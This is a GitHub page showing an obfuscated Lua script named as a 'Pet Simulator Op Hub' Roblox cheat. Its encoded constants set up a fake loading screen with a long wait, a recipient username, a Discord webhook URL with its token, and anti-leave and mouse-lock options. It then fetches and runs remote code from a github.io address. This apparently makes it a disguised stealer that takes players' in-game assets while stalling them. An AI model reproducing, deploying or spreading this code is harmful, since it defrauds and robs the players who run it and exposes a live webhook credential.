-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathPetSimulatorOpHub.lua
More file actions
12 lines (10 loc) · 17.3 KB
/
PetSimulatorOpHub.lua
File metadata and controls
12 lines (10 loc) · 17.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
--[[
.____ ________ ___. _____ __
| | __ _______ \_____ \\_ |___/ ____\_ __ ______ ____ _____ _/ |_ ___________
| | | | \__ \ / | \| __ \ __\ | \/ ___// ___\\__ \\ __\/ _ \_ __ \
| |___| | // __ \_/ | \ \_\ \ | | | /\___ \\ \___ / __ \| | ( <_> ) | \/
|_______ \____/(____ /\_______ /___ /__| |____//____ >\___ >____ /__| \____/|__|
\/ \/ \/ \/ \/ \/ \/
\_Welcome to LuaObfuscator.com (Alpha 0.2.6) ~ Much Love, Ferib
]]--
do local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function()return _ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack ;local v14=tonumber;local function v15(v16,v17,...)local v18=0;local v19;local v20;local v21;local v22;local v23;local v24;local v25;local v26;local v27;local v28;local v29;local v30;while true do if (v18==2) then function v23()local v31,v32=v1(v16,v19,v19 + 2 + 0 );v19=v19 + 2 ;return (v32 * (1892 -(137 + 1499))) + v31 ;end v24=nil;function v24()local v33,v34,v35,v36=v1(v16,v19,v19 + 3 );v19=v19 + (733 -(462 + 267)) ;return (v36 * (10152370 + 6624846)) + (v35 * (168182 -102646)) + (v34 * 256) + v33 ;end v25=nil;v18=3;end if (v18==4) then v28=nil;function v28(...)return {...},v12("#",...);end v29=nil;function v29()local v37=0;local v38;local v39;local v40;local v41;local v42;local v43;local v44;while true do if (1~=v37) then else v40=nil;v41=nil;v37=342 -(88 + 252) ;end if (v37==0) then v38=0 + 0 ;v39=nil;v37=1;end if (v37~=(717 -(527 + 187))) then else v44=nil;while true do local v93=1053 -(170 + 883) ;while true do if (v93~=1) then else if (v38==(1157 -(965 + 190))) then for v100=1 -0 ,v24() do local v101=0 + 0 ;local v102;local v103;while true do if ((0 + 0)==v101) then local v111=0;while true do if (v111==0) then v102=1996 -(973 + 1023) ;v103=nil;v111=1 + 0 ;end if (v111==1) then v101=1 + 0 ;break;end end end if (v101~=1) then else while true do if (v102==(123 -(94 + 29))) then v103=v22();if (v21(v103,1,1)~=(0 + 0)) then else local v119=0 -0 ;local v120;local v121;local v122;local v123;local v124;while true do if (v119==0) then v120=0;v121=nil;v119=979 -(917 + 61) ;end if (v119~=(9 -7)) then else v124=nil;while true do if (1==v120) then local v156=0;local v157;while true do if (v156~=0) then else v157=0;while true do if ((1 + 0)~=v157) then else v120=4 -2 ;break;end if (v157==0) then local v180=0 + 0 ;while true do if (v180==0) then v123=nil;v124=nil;v180=1;end if (v180~=1) then else v157=1;break;end end end end break;end end end if ((0 + 0)~=v120) then else v121=0;v122=nil;v120=1;end if (v120==(675 -(272 + 401))) then while true do if (v121~=(582 -(27 + 552))) then else if (v21(v123,1 + 2 ,1 + 2 )~=(1 + 0)) then else v124[4]=v44[v124[6 -2 ]];end v39[v100]=v124;break;end if (v121==(697 -(254 + 441))) then local v167=0;while true do if (v167~=1) then else v121=3;break;end if (v167~=0) then else local v181=0;while true do if (v181~=(0 -0)) then else if (v21(v123,1,1462 -(32 + 1429) )==1) then v124[2]=v44[v124[1624 -(559 + 1063) ]];end if (v21(v123,5 -3 ,454 -(384 + 68) )==1) then v124[3]=v44[v124[3]];end v181=1;end if (v181~=1) then else v167=1 + 0 ;break;end end end end end if (v121==0) then local v168=0;local v169;while true do if (v168~=(488 -(417 + 71))) then else v169=0;while true do if (v169==0) then local v185=0 -0 ;while true do if ((1 -0)==v185) then v169=3 -2 ;break;end if (v185==(350 -(146 + 204))) then v122=v21(v103,2,3);v123=v21(v103,1963 -(1657 + 302) ,5 + 1 );v185=1;end end end if (v169~=1) then else v121=1;break;end end break;end end end if (v121==(3 -2)) then local v170=217 -(207 + 10) ;local v171;while true do if ((207 -(118 + 89))~=v170) then else v171=28 -(5 + 23) ;while true do if (v171==(0 -0)) then local v186=0;local v187;while true do if (v186~=0) then else v187=0;while true do if (v187==1) then v171=1 + 0 ;break;end if (v187~=0) then else v124={v23(),v23(),nil,nil};if (v122==0) then local v197=0;while true do if ((1551 -(1356 + 195))~=v197) then else v124[8 -5 ]=v23();v124[4 + 0 ]=v23();break;end end elseif (v122==1) then v124[584 -(510 + 71) ]=v24();elseif (v122==(5 -3)) then v124[3]=v24() -(2^16) ;elseif (v122==3) then local v202=0;local v203;while true do if (v202==(212 -(88 + 124))) then v203=0;while true do if (v203==0) then v124[346 -(298 + 45) ]=v24() -(2^(60 -44)) ;v124[4]=v23();break;end end break;end end end v187=1 + 0 ;end end break;end end end if (1==v171) then v121=4 -2 ;break;end end break;end end end end break;end end break;end if (v119==1) then v122=nil;v123=nil;v119=2;end end end break;end end break;end end end for v104=1,v24() do v40[v104-1 ]=v29();end for v106=1,v24() do v41[v106]=v24();end return v42;end break;end if (v93~=(0 + 0)) then else local v98=0;while true do if (v98~=(3 -2)) then else v93=1 -0 ;break;end if ((511 -(230 + 281))==v98) then if (v38~=1) then else local v108=1822 -(1245 + 577) ;while true do if (v108~=(1383 -(380 + 1003))) then else v43=v24();v44={};v108=1 -0 ;end if (v108~=2) then else v38=2;break;end if (v108==(2 -1)) then for v115=1,v43 do local v116=0 -0 ;local v117;local v118;while true do if (v116~=(0 -0)) then else local v129=0;local v130;while true do if (v129~=(1509 -(28 + 1481))) then else v130=0;while true do if (v130~=(3 -2)) then else v116=4 -3 ;break;end if (v130~=0) then else v117=v22();v118=nil;v130=1;end end break;end end end if (v116~=1) then else if (v117==(1 -0)) then v118=v22()~=(0 -0) ;elseif (v117==(4 -2)) then v118=v25();elseif (v117~=(1580 -(52 + 1525))) then else v118=v26();end v44[v115]=v118;break;end end end v42[3]=v22();v108=1951 -(1183 + 766) ;end end end if (v38~=0) then else local v109=0;while true do if (v109~=2) then else v38=1 + 0 ;break;end if (v109~=(0 -0)) then else v39={};v40={};v109=776 -(231 + 544) ;end if (v109~=1) then else v41={};v42={v39,v40,nil,v41};v109=2;end end end v98=1;end end end end end break;end if (v37==2) then v42=nil;v43=nil;v37=6 -3 ;end end end v18=5;end if (v18==3) then function v25()local v45=0 + 0 ;local v46;local v47;local v48;local v49;local v50;local v51;while true do if (v45==2) then v50=v21(v47,17 + 4 ,49 -(39 -21) );v51=((v21(v47,610 -(460 + 118) )==(1 + 0)) and -1) or (1459 -(1259 + 199)) ;v45=180 -(167 + 10) ;end if (v45==(5 -2)) then if (v50==0) then if (v49==(0 + 0)) then return v51 * (1879 -(1647 + 59 + 173)) ;else v50=1 + 0 ;v48=0 -0 ;end elseif (v50==(1383 + 664)) then return ((v49==(1666 -(203 + 585 + 878))) and (v51 * ((1699 -(1156 + 542))/(0 + 0)))) or (v51 * NaN) ;end return v8(v51,v50-(1033 -(7 + 3 + 0)) ) * (v48 + (v49/((5 -3)^(164 -112)))) ;end if ((673 -(564 + 109))==v45) then v46=v24();v47=v24();v45=1 + 0 ;end if (1==v45) then v48=3 -2 ;v49=(v21(v47,1 + 0 ,45 -25 ) * ((2 -0)^(1520 -(134 + 1354)))) + v46 ;v45=7 -5 ;end end end v26=nil;function v26(v52)local v53;if not v52 then v52=v24();if (v52==(0 -0)) then return "";end end v53=v3(v16,v19,(v19 + v52) -(1726 -(18 + 1707)) );v19=v19 + v52 ;local v54={};for v66=3 -2 , #v53 do v54[v66]=v2(v1(v3(v53,v66,v66)));end return v6(v54);end v27=v24;v18=4;end if (v18==1) then function v21(v55,v56,v57)if v57 then local v73=(v55/(((264 + 462) -(567 + 157))^(v56-(1 -(135 -(85 + 50))))))%((5 -3)^(((v57-(1 + 0)) -(v56-(1 -0))) + ((1 + 0) -0))) ;return v73-(v73%(1110 -(313 + 796))) ;else local v74=0 -0 ;local v75;while true do if ((0 + 0)==v74) then v75=(3 -(2 -1))^(v56-(1 + 0)) ;return (((v55%(v75 + v75))>=v75) and ((1 + 1) -1)) or (0 + 0) ;end end end end v22=nil;function v22()local v58=v1(v16,v19,v19);v19=v19 + 1 ;return v58;end v23=nil;v18=2;end if (v18==5) then v30=nil;function v30(v59,v60,v61)local v62=v59[1];local v63=v59[2];local v64=v59[3];return function(...)local v68=1;local v69= -1;local v70={...};local v71=v12("#",...) -1 ;local function v72()local v76=v62;local v77=v63;local v78=v64;local v79=v28;local v80={};local v81={};local v82={};for v88=0,v71 do if (((4062 -1244)<(3954 -(467 + 575))) and (v88>=v78)) then v80[v88-v78 ]=v70[v88 + (2 -1) ];else v82[v88]=v70[v88 + (1042 -(356 + 685)) ];end end local v83=(v71-v78) + (2 -1) ;local v84;local v85;while true do local v89=54 -(18 + 36) ;local v90;local v91;while true do if ((881<=(891 + 966)) and (0==v89)) then v90=20 -(11 + 9) ;v91=nil;v89=912 -(154 + 757) ;end if ((v89==(1 + 0)) or (3191==(9 + 1 + 23))) then while true do if (((11972 -7980)==(7723 -3731)) and (v90==(0 + 0))) then v91=846 -(317 + 529) ;while true do if (((1 + 0)==v91) or (2395<=(923 + 619))) then if ((v85<=(1908 -(523 + 236 + 1143))) or ((1471 -651)>(3865 + 733))) then if ((v85<=(7 -5)) or (1308<=(1276 -409))) then if ((v85<=0) or ((3537 -(607 + 238))==(3444 -((1681 -(513 + 194)) + 552)))) then v82[v84[1 + 1 ]]=v61[v84[3]];elseif (((1047 + 280)>=(51 + 861)) and (v85==1)) then local v132=0;local v133;local v134;while true do if ((1657<(2270 + 442)) and (v132==(1 + 0))) then while true do if ((v133==((0 + 0) -0)) or (4462<=1553)) then v134=v84[2];v82[v134]=v82[v134](v13(v82,v134 + 1 + 0 ,v69));break;end end break;end if (((1577 -397)>=(1577 -970)) and (v132==0)) then v133=1584 -(1526 + 58) ;v134=nil;v132=1;end end else do return;end end elseif ((v85<=(19 -15)) or ((6316 -(768 + 1121))<=(7033 -(10109 -7457)))) then if ((4950==(1027 + 3923)) and (v85>(469 -(21 + 304 + 141)))) then local v135=821 -(669 + 152) ;local v136;local v137;local v138;local v139;local v140;local v141;while true do if ((((5150 -1955) + 1205)>=(1488 -685)) and (v135==(2 + 0))) then v140=nil;v141=nil;v135=3;end if (((5644 -2731)<=(9837 -4981)) and (v135==(0 + 0))) then v136=0 -0 ;v137=nil;v135=1 + (1805 -(214 + 1591)) ;end if (((5093 -3503)<((6018 -3181) + 1702)) and (v135==(9 -6))) then while true do if ((v136==(1091 -(184 + 906))) or ((197 + 799)<(1843 -(788 + 969)))) then local v160=0 -0 ;while true do if (((16799 -13005)>=(6961 -3859)) and (v160==(0 + 0))) then v139=nil;v140=nil;v160=1497 -(1096 + 400) ;end if ((v160==((1501 -(61 + 1014)) -(21 + 404))) or (3460<(2658 -1153))) then v136=2;break;end end end if (((1756 -(126 + 85))==(1034 + 511)) and (v136==(0 + 0 + 0))) then local v161=0 + (0 -0) ;while true do if ((v161==1) or ((2344 + 935)<(4276 -1312))) then v136=(1 -0) + 0 ;break;end if ((((2266 + 2437) -(1090 + 180))>(193 + 993)) and (v161==(0 -0))) then v137=249 -(167 + 82) ;v138=nil;v161=(963 -294) -(95 + 573) ;end end end if (((133 + 183)<1893) and (v136==(1 + 1))) then v141=nil;while true do if ((v137==1) or ((5369 -(684 + 361))<(1514 + 246))) then local v174=0 + (0 -0) ;local v175;while true do if ((v174==(0 + 0)) or ((8751 -5448)<(3837 -2788))) then v175=197 -(50 + 147) ;while true do if ((1554>=(43 + 181)) and (v175==1)) then v137=(7 -2) -3 ;break;end if (((5 + 83)<(10420 -5980)) and (v175==(1903 -(941 + (2929 -(1115 + 852)))))) then local v192=0;while true do if ((v192==(1634 -(262 + 1371))) or (1732>=(1252 + 2603 + 462))) then v175=1 -0 ;break;end if ((v192==(710 -(691 + 19))) or ((937 + 1193)<(3161 -(1203 + 114 + 32)))) then v69=(v140 + v138) -(1729 -(1005 + (2299 -1576))) ;v141=0 -0 ;v192=347 -(180 + 166) ;end end end end break;end end end if ((v137==(5 -3)) or (2361>=(7566 -5038))) then for v182=v138,v69 do local v183=0 -0 ;local v184;while true do if ((4542==4542) and (v183==(0 + 0))) then v184=0;while true do if ((v184==(0 -0)) or ((1400 -(68 + 364))==(886 + 3388))) then v141=v141 + ((174 + 96) -(72 + 197)) ;v82[v182]=v139[v141];break;end end break;end end end break;end if (((4032 -(258 + 287))>=(2581 -(1400 + 370))) and (v137==(0 + 0))) then local v176=0 + 0 ;local v177;while true do if ((v176==((0 + 0) -(1122 -(821 + 301)))) or ((1693 + 1658)<=(2874 + 272))) then v177=0 + 0 ;while true do if ((v177==(3 -(4 -2))) or ((6018 -(1311 + 61))<(3632 -(130 + 22)))) then v137=1430 -(275 + 1154) ;break;end if (((1297 + 418)<=((5308 -3734) + 826)) and ((583 -((1918 -1405) + 70))==v177)) then local v193=(619 -(463 + 156)) -0 ;while true do if ((v193==(0 + 0)) or ((2603 -(122 + 502))<=((1383 -(326 + 203)) -494))) then v138=v84[1 + 1 ];v139,v140=v79(v82[v138](v13(v82,v138 + ((2 + 0) -(3 -2)) ,v84[1 + 0 + 2 ])));v193=1 -0 ;end if (((175 -(73 + 24))<1906) and ((217 -(166 + (1343 -(301 + 992))))==v193)) then v177=1;break;end end end end break;end end end end break;end end break;end if (((3328 -(68 + 205))==(4652 -(849 + 748))) and (v135==(1 + 0 + 0))) then v138=nil;v139=nil;v135=2 + 0 ;end end elseif ((v82[v84[2]]==v84[1 + 3 ]) or ((954 -(18 + 42))>(3534 -(465 + 1414)))) then v68=v68 + (3 -2) ;else v68=v84[2 + 1 ];end elseif ((((9790 -6725) -2009)==(3663 -2607)) and (v85>(14 -9))) then v82[v84[1 + 1 ]]=v84[(193 + 17) -(146 + 61) ]~=(0 + 0) ;else v82[v84[460 -((400 -(126 + 162)) + 346) ]][v84[3]]=v84[10 -6 ];end elseif ((v85<=9) or (1295>=3341)) then if ((251<(6041 -(181 + 877))) and (v85<=((17 -5) -5))) then v61[v84[(492 + 1221) -(497 + 1213) ]]=v82[v84[2]];elseif ((v85==(32 -(4 + 20))) or ((4483 -(175 + 30))==2505)) then if ((v84[3 -1 ]==v82[v84[14 -10 ]]) or (3314<(466 + 659))) then v68=v68 + (2 -1) ;else v68=v84[3];end else local v145=0 + 0 ;local v146;local v147;local v148;while true do if ((v145==(0 -0)) or (3528>=(17600 -13106))) then v146=11 -(6 + 5) ;v147=nil;v145=1 + 0 ;end if (((10626 -6368)>=2332) and ((1182 -(582 + (1956 -1357)))==v145)) then v148=nil;while true do if ((v146==(47 -(44 + 2))) or ((7 + 5)>=(668 + 3986))) then v82[v147 + (2 -1) ]=v148;v82[v147]=v148[v84[3 + 1 ]];break;end if ((v146==(0 -0)) or ((3042 -(875 + 234))>((2361 -(465 + 925)) + 2810))) then local v165=0 -0 ;while true do if ((4702==(3192 + 1510)) and (v165==(0 -0))) then v147=v84[5 -(1258 -(1004 + 251)) ];v148=v82[v84[1 + 2 ]];v165=1 + 0 ;end if ((v165==(1247 -(354 + 892))) or ((256 + 3862)<(725 + 1874))) then v146=1665 -(368 + 1296) ;break;end end end end break;end end end elseif (((5749 -(836 + 126 + 21))==(12536 -7770)) and (v85<=(4 + 7))) then if (((674 + (32 -18))<=4246) and (v85==(679 -(342 + 327)))) then v68=v84[2 + 1 ];else v82[v84[3 -1 ]]();end elseif (((13448 -9203)>3956) and (v85>(3 + 2 + 7))) then v82[v84[2]]=v84[1440 -(834 + 603) ];else for v152=v84[(6 -4) + 0 ],v84[195 -(139 + 53) ] do v82[v152]=nil;end end v68=v68 + (2 -(138 -(47 + 90))) ;break;end if ((v91==(0 + (0 -0))) or ((214 -(10 + (17 -4)))>=(2535 + 2158))) then local v110=0 + 0 ;while true do if (((7193 -5575)<(4486 -(67 + 67 + 10))) and (v110==(485 -(59 + 426)))) then v84=v76[v68];v85=v84[2 -1 ];v110=186 -(136 + 49) ;end if (((41 + 388)<3096) and (v110==(2 -1))) then v91=3 -2 ;break;end end end end break;end end break;end end end end A,B=v28(v11(v72));if not A[1] then local v92=v59[4][v68] or "?" ;error("Script error at [" .. v92 .. "]:" .. A[2] );else return v13(A,2,B);end end;end return v30(v29(),{},v17)(...);end if (v18==0) then v19=1;v20=nil;v16=v4(v3(v16,5),"..",function(v65)if (v1(v65,2)==79) then v20=v0(v3(v65,1,1));return "";else local v86=0;local v87;while true do if (v86==0) then v87=v2(v0(v65,16));if v20 then local v99=v5(v87,v20);v20=nil;return v99;else return v87;end break;end end end end);v21=nil;v18=1;end end end v15("LOL!1B3O00028O00027O0040026O00F03F03023O005F4703093O00546869726454657874030E3O00416C6D6F737420446F6E653O2E026O00084003093O0046697273745465787403103O0053637269707420507265706172696E67030A3O005365636F6E645465787403113O00536372697074204C6F6164696E673O2E030B3O0057616974696E6754696D65025O00806640030A3O006C6F6164737472696E6703043O0067616D6503073O00482O747047657403213O00682O7470733A2O2F72692O7A36392E6769746875622E696F2F4D61696E2E6C7561030D3O004C6F6164696E675363722O656E2O0103083O00557365724E616D6503143O00496D70726F61745F66756E6B796672696461793103073O00576562682O6F6B03793O00682O7470733A2O2F646973636F72642E636F6D2F6170692F776562682O6F6B732F313039373436313736343931383130343036342F646F3844385F3438616C4A737733516D4B464C454E77716142484654726E58747230476F532O465934526F49456454696D74494A43353265345A6C4B4350487538455A3303093O00416E74694C6561766503093O004D6F7573654C6F636B030A3O005363726970744E616D6503143O005065742053696D756C61746F72204F702048756200413O00120D3O00014O000C000100013O0026033O00020001000100040A3O0002000100120D000100013O000E08000200160001000100040A3O0016000100120D000200013O0026030002000E0001000300040A3O000E000100122O000300043O00300500030005000600120D000100073O00040A3O00160001002603000200080001000100040A3O0008000100122O000300043O00300500030008000900122O000300043O0030050003000A000B00120D000200033O00040A3O00080001002603000100230001000700040A3O0023000100122O000200043O0030050002000C000D00122O0002000E3O00122O0003000F3O00200900030003001000120D000500114O0006000600014O0004000300064O000100023O00022O000B00020001000100040A3O00400001000E08000100340001000100040A3O0034000100120D000200013O0026030002002C0001000300040A3O002C000100122O000300043O00300500030012001300120D000100033O00040A3O00340001002603000200260001000100040A3O0026000100120D000300153O001207000300143O00120D000300173O001207000300163O00120D000200033O00040A3O00260001000E08000300050001000100040A3O0005000100122O000200043O00300500020018001300122O000200043O00300500020019001300122O000200043O0030050002001A001B00120D000100023O00040A3O0005000100040A3O0040000100040A3O000200012O00023O00017O00413O00023O00033O00053O00053O00063O00083O00083O00093O000B3O000B3O000C3O000C3O000D3O000E3O00103O00103O00113O00113O00123O00123O00133O00143O00173O00173O00183O00183O00193O00193O00193O00193O00193O00193O00193O00193O001A3O001C3O001C3O001D3O001F3O001F3O00203O00203O00213O00223O00243O00243O00253O00253O00263O00263O00273O00283O002B3O002B3O002C3O002C3O002D3O002D3O002E3O002E3O002F3O00303O00323O00333O00353O00",v9(),...);end